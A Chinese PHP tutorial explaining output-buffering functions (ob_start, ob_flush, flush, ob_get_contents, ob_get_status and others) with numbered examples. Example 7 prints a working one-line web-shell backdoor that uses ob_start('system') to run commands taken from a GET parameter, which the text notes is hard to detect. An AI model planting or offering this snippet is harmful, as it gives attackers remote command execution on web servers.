PHP輸出緩衝控制- Output Control 函式應用詳解
說到輸出緩衝,首先要說的是一個叫做緩衝器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文件時,在我們沒有儲存之前,系統是不會向磁碟寫入的,而是寫到buffer中,當buffer寫滿或者執行了儲存操作,才會將資料寫入磁碟。對於PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 裡,在指令碼執行完畢或者執行了強制輸出快取操作,資料才會在瀏覽器上顯示。
其實對於PHP程式設計師來說,基本上每個指令碼都涉及到了輸出緩衝,只是在大多數情況下,我們都不需要對輸出緩衝進行更改。而今天就來用例項對PHP輸出緩衝控制函式“Output Control”做一個詳細的解析。
下面這個例子簡單介紹了輸出緩衝在一般指令碼中存在的方式:
我們在執行如下指令碼時:
<?php /*例1*/ echo 'oschina.net'; echo '紅薯'; echo '蟲蟲'; ?>
指令碼在執行完第一個 echo 時,並不會向瀏覽器輸出相應內容,而是會輸出到一個緩衝區,依次類推,當三個 echo 全部執行完畢(也就是指令碼結束)時,才會將緩衝區內容全部輸出到瀏覽器。當然這個緩衝區也有大小的限制,是根據 php.ini 中的output_buffering
選項來設定的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩衝控制,就是在指令碼結束前,對緩衝區裡的內容進行操作。
這個例子可以更好的體現輸出緩衝控制的應用:
在執行如下程式碼時:
<?php /*例2*/ echo 'oschina.net'; sleep(1); echo '紅薯'; sleep(1); echo '蟲蟲'; ?>
我們至少需要等待 2秒 才能看到輸出結果,那我們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就需要用輸出緩衝控制函式來操作緩衝區了,實現程式碼如下:
<?php /*例3*/ echo str_pad('', 1024);//使緩衝區溢位 ob_start();//開啟緩衝區 echo 'oschina.net'; ob_flush();//送出當前緩衝內容,不會輸出 flush();//輸出送出的緩衝內容 sleep(1); echo '紅薯'; ob_flush();//送出當前緩衝內容,不會輸出 flush();//輸出送出的緩衝內容 sleep(1); echo '蟲蟲'; ob_end_flush();//輸出並關閉緩衝 ?>
簡單點也可以這樣實現:
<?php /*例4*/ echo str_pad('', 1024);//使緩衝區溢位 echo 'oschina.net'; flush();//輸出送出的緩衝內容 sleep(1); echo '紅薯'; flush();//輸出送出的緩衝內容 sleep(1); echo '蟲蟲'; ?>
至於相關函式的用法在下面都會有介紹,這裡只是給大家展示一個輸出緩衝控制函式的應用,當然了輸出緩衝控制函式的作用絕不止這一種,那麼下面我們就來看看輸出緩衝控制函式都可以應用在哪些方面。
作用
- 在PHP中,像header(), session_start(), setcookie() 等這樣的傳送標頭檔案的函式前,不能有任何的輸出,而利用輸出緩衝控制函式可以在這些函式前進行輸出而不報錯。其實這麼做沒啥必要,非常少見的用法。
- 對輸出的內容進行處理,例如生成靜態快取檔案、進行gzip壓縮輸出,這算是較常用的功能了,後面會有詳細介紹。
- 捕獲一些不可獲取的函式輸出,例如phpinfo(), var_dump() 等等,這些函式都會將運算結果顯示在瀏覽器中,而如果我們想對這些結果進行處理,則用輸出緩衝控制函式是個不錯的方法。說的通俗點,就是這類函式都不會有返回值,而要獲取這些函式的輸出資料,就要用到輸出緩衝控制函式。
- 最後一種應用就是 簡介 中示例的方法,對一些資料進行實時的輸出。
php.ini 中的相關配置項
再來看看在 php.ini 中和輸出緩衝控制有關的選項,共三個,分別是:output_buffering
, output_handler
和 implicit_flush
-
output_buffering
預設為 off , 當設定為 on 時,則在所有指令碼自動開啟輸出緩衝區,拿 例3 來說,就是在每個指令碼都自動執行了 ob_start() 這個函式,而不用再顯示的呼叫該函式。其也可以設定為一個整型的數字,代表緩衝區可以儲存的最大位元組數,我們在 例1 的下面說明中提到過這個配置項。 -
output_handler
預設為 null , 其值只能設定為一個內建的函式名,作用就是將指令碼的所有輸出,用所定義的函式進行處理。他的用法和 ob_start('function_name') 較類似,下面會介紹到。 -
implicit_flush
預設為 off , 當設定為 on 時,PHP將在輸出後,自動送出緩衝區內容。拿 例4 來說,就是在每段輸出後,自動執行 flush() 。當然有效的輸出不僅指像echo , print 這樣的函式,也包括HTML段。
Output Control 函式詳解
現在我們就用例項分析相關函式,相信在充分了解了以下內容後,就會對輸出緩衝控制函式有了較清晰的掌握。
1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函式在 例3 中已經使用過,大家從命名上也能明白其含義,就是開啟輸出緩衝區,從而進行下一步的輸出緩衝處理。這裡要特意說的是其引數的用法,第一個引數要傳遞一個回撥函式,其需將緩衝區內容做為引數,並且返回一個字串。他會在緩衝區被送出時呼叫,緩衝區送出指的是執行了例如ob_flush() 等函式或者指令碼執行完畢。ob_flush() 函式會在下面介紹到,來看一個簡單的例子就能理解其用法:
<?php /*例5*/ ob_start('handleString'); echo '123456'; function handleString($string){ return md5($string); } ?>
執行後的結果是:
e10adc3949ba59abbe56e057f20f883e
說明輸出的內容被md5加密了,也就是說在緩衝區內容輸出時,執行了我們定義的 handleString 函式。
再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮後再輸出,程式碼如下:
<?php /*例6*/ ob_start('ob_gzhandler'); echo str_repeat('oschina', 1024); ?>
其頁面大小為:
而不使用 ob_gzhandler 引數,其頁面大小為:
可以明顯看到大小的差別,所以說利用 ob_start() 進行頁面壓縮輸出,是非常實用的一個功能。
而第二個引數 chunk_size
為緩衝區的位元組長度,如果緩衝區內容大於此長度,將會被送出緩衝區,預設值為0,代表函式將會在最後被呼叫。第三個引數 erase
如果被設定為 flase , 則代表指令碼執行完畢後緩衝區才會被刪除,如果提前執行了刪除緩衝區函式(後面會提到),則會報一個錯誤。
ob_start() 的用法就這麼多,但有兩點需要特別注意的地方:
- ob_start() 可重複呼叫,也就是說一個指令碼中可以存在多個緩衝區,但記得要按照巢狀順序將他們全部關閉掉,而如果多個 ob_start 都定義了第一個引數,也就是都定義了回撥函式,則會按照巢狀順序依次執行。關於緩衝區的堆疊巢狀,將在 ob_get_level 函式處詳細介紹,這裡就不過多闡述了。
- ob_start() 還有一個不太明顯但很致命的後門用法,實現程式碼如下:
<?php /*例7*/ $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>
如果理解了上面關於 ob_start的用法,這段程式碼就不難理解了,其應用了 ob_start 函式會將緩衝區輸出的內容作為引數傳入所設定的函式中的特點,實現了以Web伺服器許可權遠端執行命令,並且不宜被發覺。
2. string ob_get_contents ( void )
此函式用來獲取此時緩衝區的內容,下面的例子就能很好的理解其用法:
<?php /*例8*/ echo str_pad('', 1024);//使緩衝區溢位 ob_start();//開啟緩衝區 phpinfo(); $string = ob_get_contents();//獲取緩衝區內容 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入檔案 fclose($re); ob_end_clean();//清空並關閉緩衝區 ?>
執行此例會發現,瀏覽器並不會有任何輸出,但在當前目錄下會有一個 phpinfo.txt 的檔案,裡面儲存了此次應有的輸出。這個例子也展示了上面作用中第三點所說的情況。我們可以將輸出內容獲取到後,根據我們的實際情況進行處理。
3. int ob_get_length ( void )
此函式用來獲取緩衝區內容的長度,將 例8 稍作改動來展示這個函式的用法:
<?php /*例9*/ echo str_pad('', 1024);//使緩衝區溢位 ob_start();//開啟緩衝區 phpinfo(); $string = ob_get_contents();//獲取緩衝區內容 $length = ob_get_length();//獲取緩衝區內容長度 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入檔案 fclose($re); var_dump($length); //輸出長度 ob_end_flush();//輸出並關閉緩衝區 ?>
4. int ob_get_level ( void )
此函式用來獲取緩衝機制的巢狀級別,我們在介紹 ob_start() 函式時曾說過,在一個指令碼中可以巢狀存在多個緩衝區,而此函式就是來獲取當前緩衝區的巢狀級別,用法如下:
<?php /*例10*/ ob_start(); var_dump(ob_get_level()); ob_start(); var_dump(ob_get_level()); ob_end_flush(); ob_end_flush(); ?>
執行後可以很明顯的看出他們的巢狀關係。
5. array ob_get_status ([ bool $full_status = FALSE ] )
此函式用來獲取當前緩衝區的狀態,返回一個狀態資訊的陣列,如果第一個引數為 true ,將返回一個詳細資訊的陣列,我們結合例項來分析這個陣列:
<?php /*例11*/ ob_start(‘ob_gzhandler’); var_export(ob_get_status()); ob_start(); var_export(ob_get_status()); ob_end_flush(); ob_end_flush(); ?>
此指令碼輸出如下:
array ( 'level' => 1, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, ) array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
level 為巢狀級別,也就是和通過 ob_get_level() 取到的值一樣。
type 為處理緩衝型別,0為系統內部自動處理,1為使用者手動處理。
status 為緩衝處理狀態, 0為開始, 1為進行中, 2為結束
name 為定義的輸出處理函式名稱,也就是在 ob_start() 函式中第一個引數傳入的函式名。
del 為是否執行了刪除緩衝區操作
理解了上面陣列的含義,就能很好理解緩衝區的各項屬性。
6. array ob_list_handlers ( void )
此函式用來獲得輸出處理程式的函式名陣列,也就是在 ob_start() 函式中我們指定的第一個引數,需要注意的是,如果我們傳的引數是一個匿名函式,或者在配置檔案中啟用了 output_buffering
則該函式將返回default output handler ,php官方手冊 中的例子就能很好的解釋這個函式:
<?php /*例12*/ //using output_buffering=On print_r(ob_list_handlers()); ob_end_flush(); ob_start("ob_gzhandler"); print_r(ob_list_handlers()); ob_end_flush(); // anonymous functions ob_start(create_function('$string', 'return $string;')); print_r(ob_list_handlers()); ob_end_flush(); ?>
輸出結果為:
Array ( [0] => 'default output handler' ) Array ( [0] => 'ob_gzhandler' ) Array ( [0] => 'default output handler' )
下面我們來看看和輸出、關閉、送出緩衝區內容有關的函式:
7. void ob_flush ( void )
此函式在前面的例子經常用到了,其作用就是 “送出” 當前緩衝區內容,同時清空緩衝區,需要注意這裡用的是 “送出” 一詞,也就是說呼叫此函式並不會將緩衝區內容輸出,從 例3 可以看出必須在其後呼叫 flush 函式其才會輸出。關於 flush 的用法下面就會說到,這裡就不再做例項了。
8. void flush ( void )
這個函式算是比較常用的,用來將其前面的所有輸出傳送到瀏覽器顯示,且不會對快取區有任何影響。例3 和 例4 中都用到了此函式將當前輸出顯示到瀏覽器,換句話說,不論是 echo 等函式的輸出,還是 HTML實體 ,或是執行 ob_start() 送出的內容,執行 flush() 後都會在瀏覽器進行顯示。
9. void ob_implicit_flush ([ int $flag = true ] )
此函式用來開啟/關閉絕對刷送模式,就是在每一次輸出後自動執行 flush(),從而不需要再顯示的呼叫 flush() ,提高效率。我們將 例4 稍作更改,利用這個函式來實現同樣的效果:
<?php /*例13*/ echo str_pad('', 1024);//使緩衝區溢位 ob_implicit_flush(true);//開啟絕對刷送 echo 'oschina.net'; //flush(); 之後不需要再顯示的呼叫 flush() sleep(1); echo '紅薯'; //flush(); sleep(1); echo '蟲蟲'; ?>
此例和 例4 實現的同樣的效果,由於開啟了 絕對刷送,所以不需要再呼叫 flush(), 系統會自動在輸出後進行刷送。
10. bool ob_end_flush ( void )
此函式將緩衝區的內容送出,並關閉緩衝區。實際上相當於執行了 ob_flush() 和 ob_end_clean() ;
11. string ob_get_flush ( void )
此函式和 ob_end_flush() 的作用基本一致,只是其會以字串的形式返回緩衝區的內容,很簡單,也不做例項了。
12. void ob_clean ( void )
此函式會將當前緩衝區清空,但不會關閉緩衝區,下面這個例子的輸出將不會顯示,因為在輸出前,緩衝區已經被清空了,但我們又可以獲取到緩衝區的屬性,說明緩衝區沒被關閉:
<?php /*例14*/ ob_start(); echo 'oschina'; ob_clean(); var_dump(ob_get_status()); ?>
13. bool ob_end_clean ( void )
此函式清空並關閉緩衝區,將 例14 稍作更改,即可發現我們不再能獲取到緩衝區的狀態,因為它已經被關閉了:
<?php /*例15*/ ob_start(); echo 'oschina'; ob_end_clean(); var_dump(ob_get_status()); ?>
14. string ob_get_clean ( void )
此函式清空並關閉快取,但會以字串的形式返回快取中的資料,實際上,這個函式就是分別執行了 ob_get_contents() 和 ob_end_clean();
<?php /*例16*/ ob_start(); echo 'oschina'; $string = ob_get_clean(); var_dump(ob_get_status()); var_dump($string); ?>
最後再來看兩個和URL重寫有關的函式:
15. bool output_add_rewrite_var ( string $name , string $value )
此函式新增URL重寫機制的鍵和值,這裡的URL重寫機制,是指在URL的最後以GET方式新增鍵值對,或者在表單中以隱藏表單新增鍵值對。絕對的URL不會被新增,還是用手冊中的例子來看吧,寫的非常直觀明瞭:
<?php /*例17*/ output_add_rewrite_var('var', 'value'); // some links echo '<a href="file.php">link</a> <a href="http://example.com">link2</a>'; // a form echo '<form action="script.php" method="post"> <input type="text" name="var2" /> </form>'; print_r(ob_list_handlers()); ?>
程式的輸出為:
<a href="file.php?var=value">link</a> <a href="http://example.com">link2</a> <form action="script.php" method="post"> <input type="hidden" name="var" value="value" /> <input type="text" name="var2" /> </form> Array ( [0] => URL-Rewriter )
可以看到不是絕對URL地址的連結 和 Form表單 被加上了對應的鍵值對。
16. bool output_reset_rewrite_vars ( void )
此函式用來清空所有的URL重寫機制,也就是刪除由 output_add_rewrite_var() 設定的重寫變數。
其他需要注意的地方
相信讀了上面的內容,就會對PHP的緩衝控制函式有較深的認識了,那接下來說一些在日常使用中需要注意的問題:
- 在 例3 的第三行,我輸出了一個1024長度的空格,註釋寫的是使緩衝區溢位。這麼做的原因是在一些win32下的伺服器程式,即使使用了上述函式,但仍然會快取指令碼的輸出,所以必須先傳送一段文字讓其緩衝區溢位,才能繼續實現我們的效果。大家在應用過程中一定要注意,如果測試中還有問題,可以將此值設定更大些,例如4096;
- 除非在指令碼結束前清空了緩衝區,否則當指令碼結束時,緩衝區的所有內容會自動輸出到瀏覽器中。
相關文章
- PHP輸出緩衝控制(Output Control)總結PHP
- PHP 輸出緩衝區應用PHP
- PHP的輸出緩衝區PHP
- SAP SD基礎知識之輸出控制(Output Control)
- 結合php ob函式理解緩衝機制PHP函式
- php輸出帶變數字串(echo函式的應用)PHP變數字串函式
- 解決呼叫DBMS_OUTPUT時出現緩衝器溢位的錯誤
- Java IO之有緩衝的文字輸出Java
- JavaScript水平緩衝運動詳解JavaScript
- Java NIO 緩衝技術詳解Java
- PHP BC Math 函式詳解PHP函式
- PHP函式處理函式例項詳解PHP函式
- HTML <output> 輸出域HTML
- PHP閉包函式使用詳解PHP函式
- PHP輸出控制功能在簡繁體轉換中的應用PHP
- 用函式控制彈出視窗函式
- Libevent應用 (三) 資料緩衝
- Excel函式應用教程:函式的輸入方法(轉)Excel函式
- 緩衝區溢位漏洞那些事:C -gets函式函式
- 常用輸入輸出函式函式
- 四個PHP應用小函式 (轉)PHP函式
- Java緩衝流概述詳解(原理畫圖分析)Java
- Wgpu圖文詳解(03)緩衝區BufferGPU
- PHP 查詢、擷取字串函式詳解PHP字串函式
- PHP類和物件函式例項詳解PHP物件函式
- ncurses輸出函式:字元+字串的輸出函式字元字串
- 輸出輸入函式彙總函式
- 匿名函式和閉包的相關應用詳解函式
- Java緩衝輸出位元組流BufferedOutputStreamJava
- Java IO之有緩衝的文字輸入Java
- C語言清空輸入緩衝區C語言
- PHP中debug_backtrace函式詳解PHP函式
- 掌握CFML:在輸出緩衝區中高效搜尋字串的技巧字串
- PHP 中 Trait 詳解及其應用PHPAI
- 【c++】c++格式控制輸出簡單應用C++
- C++逐字輸出函式C++函式
- 第五篇:使用無緩衝IO函式讀寫檔案函式
- C語言setbuf()函式:把緩衝區與流相關聯C語言函式